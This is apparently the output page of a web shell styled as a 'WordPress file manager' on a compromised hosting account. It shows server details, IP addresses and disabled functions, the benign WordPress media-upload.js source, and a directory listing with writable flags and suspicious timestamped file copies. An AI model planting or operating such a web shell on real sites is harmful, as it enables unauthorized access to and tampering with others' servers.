✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ webm004.cluster127.gra.hosting.ovh.net ​🇻​♯➤ 6.18.42-ovh-vps-grsec-zfs+ #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 54.36.91.62 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.191
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ _dyuweyrj4,_dyuweyrj4r,dl

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/docteuh/www/wp-includes-20260907151755/user-interface/js/widgets//media-upload.js
/**
 * Contains global functions for the media upload within the post edit screen.
 *
 * Updates the ThickBox anchor href and the ThickBox's own properties in order
 * to set the size and position on every resize event. Also adds a function to
 * send HTML or text to the currently active editor.
 *
 * @file
 * @since 2.5.0
 * @output wp-admin/js/media-upload.js
 *
 * @requires jQuery
 */

/* global tinymce, QTags, wpActiveEditor, tb_position */

/**
 * Sends the HTML passed in the parameters to TinyMCE.
 *
 * @since 2.5.0
 *
 * @global
 *
 * @param {string} html The HTML to be sent to the editor.
 * @return {void|boolean} Returns false when both TinyMCE and QTags instances
 *                        are unavailable. This means that the HTML was not
 *                        sent to the editor.
 */
window.send_to_editor = function( html ) {
	var editor,
		hasTinymce = typeof tinymce !== 'undefined',
		hasQuicktags = typeof QTags !== 'undefined';

	// If no active editor is set, try to set it.
	if ( ! wpActiveEditor ) {
		if ( hasTinymce && tinymce.activeEditor ) {
			editor = tinymce.activeEditor;
			window.wpActiveEditor = editor.id;
		} else if ( ! hasQuicktags ) {
			return false;
		}
	} else if ( hasTinymce ) {
		editor = tinymce.get( wpActiveEditor );
	}

	// If the editor is set and not hidden,
	// insert the HTML into the content of the editor.
	if ( editor && ! editor.isHidden() ) {
		editor.execCommand( 'mceInsertContent', false, html );
	} else if ( hasQuicktags ) {
		// If quick tags are available, insert the HTML into its content.
		QTags.insertContent( html );
	} else {
		// If neither the TinyMCE editor and the quick tags are available,
		// add the HTML to the current active editor.
		document.getElementById( wpActiveEditor ).value += html;
	}

	// If the old thickbox remove function exists, call it.
	if ( window.tb_remove ) {
		try { window.tb_remove(); } catch( e ) {}
	}
};

(function($) {
	/**
	 * Recalculates and applies the new ThickBox position based on the current
	 * window size.
	 *
	 * @since 2.6.0
	 *
	 * @global
	 *
	 * @return {Object[]} Array containing jQuery objects for all the found
	 *                    ThickBox anchors.
	 */
	window.tb_position = function() {
		var tbWindow = $('#TB_window'),
			width = $(window).width(),
			H = $(window).height(),
			W = ( 833 < width ) ? 833 : width,
			adminbar_height = 0;

		if ( $('#wpadminbar').length ) {
			adminbar_height = parseInt( $('#wpadminbar').css('height'), 10 );
		}

		if ( tbWindow.length ) {
			tbWindow.width( W - 50 ).height( H - 45 - adminbar_height );
			$('#TB_iframeContent').width( W - 50 ).height( H - 75 - adminbar_height );
			tbWindow.css({'margin-left': '-' + parseInt( ( ( W - 50 ) / 2 ), 10 ) + 'px'});
			if ( typeof document.body.style.maxWidth !== 'undefined' )
				tbWindow.css({'top': 20 + adminbar_height + 'px', 'margin-top': '0'});
		}

		/**
		 * Recalculates the new height and width for all links with a ThickBox class.
		 *
		 * @since 2.6.0
		 */
		return $('a.thickbox').each( function() {
			var href = $(this).attr('href');
			if ( ! href ) return;
			href = href.replace(/&width=[0-9]+/g, '');
			href = href.replace(/&height=[0-9]+/g, '');
			$(this).attr( 'href', href + '&width=' + ( W - 80 ) + '&height=' + ( H - 85 - adminbar_height ) );
		});
	};

	// Add handler to recalculates the ThickBox position when the window is resized.
	$(window).on( 'resize', function(){ tb_position(); });

})(jQuery);


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
10 Sep 2026 1.55 AM
docteuh / users
0755
Modules
--
10 Sep 2026 1.55 AM
docteuh / users
0755
analysis-features
--
10 Sep 2026 1.55 AM
docteuh / users
0755
js
--
10 Sep 2026 1.55 AM
docteuh / users
0755
application-passwords.js
6.244 KB
8 Nov 2023 3.41 PM
docteuh / users
0644
application-passwords.min.js
2.953 KB
8 Nov 2023 3.41 PM
docteuh / users
0644
auth-app.min.js
2.035 KB
5 Jun 2023 6.18 PM
docteuh / users
0644
custom-background.js
3.354 KB
18 Mar 2021 8.01 PM
docteuh / users
0644
custom-header.js
1.976 KB
23 Feb 2021 8.45 PM
docteuh / users
0644
custom-html-widgets.js
15.39 KB
21 May 2026 2.34 PM
docteuh / users
0644
custom-html-widgets.min.js
5.451 KB
17 Jul 2024 6.30 AM
docteuh / users
0644
dashboard-20260827043739.js
27.018 KB
16 Apr 2025 11.58 AM
docteuh / users
0644
editor-expand.min.js
13.136 KB
5 Jun 2023 6.18 PM
docteuh / users
0644
icon-redirect-manager-20260827064730.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260829050506-20260830003632-20260830003701-20260830003856-20260831163243.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260829102432-20260830003633-20260830003700-20260830003856-20260830144522.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager-20260830114958.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
icon-redirect-manager.svg
1.299 KB
23 Jun 2026 6.19 PM
docteuh / users
0644
image-edit.js
39.977 KB
14 Nov 2024 5.53 AM
docteuh / users
0644
image-edit.min-20260828222639.js
15.151 KB
14 Nov 2024 5.53 AM
docteuh / users
0644
image-edit.min.js
15.151 KB
14 Nov 2024 5.53 AM
docteuh / users
0644
index.php
1.771 KB
20 Jul 2026 7.03 PM
docteuh / users
0644
media-audio-widget.js
4.184 KB
29 Nov 2019 7.01 PM
docteuh / users
0644
media-audio-widget.min.js
1.413 KB
5 Jun 2023 6.18 PM
docteuh / users
0644
media-gallery-widget.js
10.111 KB
29 Nov 2019 7.01 PM
docteuh / users
0644
media-gallery-widget.min.js
3.678 KB
5 Jun 2023 6.18 PM
docteuh / users
0644
media-image-widget.js
5.34 KB
29 Nov 2019 7.01 PM
docteuh / users
0644
media-image-widget.min.js
1.977 KB
6 Jan 2021 4.29 PM
docteuh / users
0644
media-upload.js
3.384 KB
22 Jan 2021 1.32 PM
docteuh / users
0644
media-upload.min.js
1.125 KB
5 Jun 2023 6.18 PM
docteuh / users
0644
media-video-widget.js
6.855 KB
29 Nov 2019 7.01 PM
docteuh / users
0644
media-video-widget.min.js
2.639 KB
5 Jun 2023 6.18 PM
docteuh / users
0644
media-widgets.js
41.859 KB
17 Jul 2024 6.30 AM
docteuh / users
0644
media-widgets.min.js
13.907 KB
17 Jul 2024 6.30 AM
docteuh / users
0644
password-strength-meter.min-20260828165407.js
1.097 KB
22 Jan 2021 1.32 PM
docteuh / users
0644
password-strength-meter.min.js
1.097 KB
22 Jan 2021 1.32 PM
docteuh / users
0644
plugin-install.js
6.92 KB
18 Mar 2021 8.01 PM
docteuh / users
0644
plugins-20260826063158.php
1.934 KB
19 Sep 2024 3.34 AM
docteuh / users
0644
post.min.js
18.952 KB
21 May 2026 2.34 PM
docteuh / users
0644
privacy-tools.min.js
5.033 KB
17 Jul 2024 6.30 AM
docteuh / users
0644
text-widgets.js
17.626 KB
8 Nov 2023 3.41 PM
docteuh / users
0644
text-widgets.min.js
5.716 KB
8 Nov 2023 3.41 PM
docteuh / users
0644
widgets-20260827062849-20260828125411.js
22.557 KB
18 Mar 2021 8.01 PM
docteuh / users
0644
widgets.js
22.557 KB
18 Mar 2021 8.01 PM
docteuh / users
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF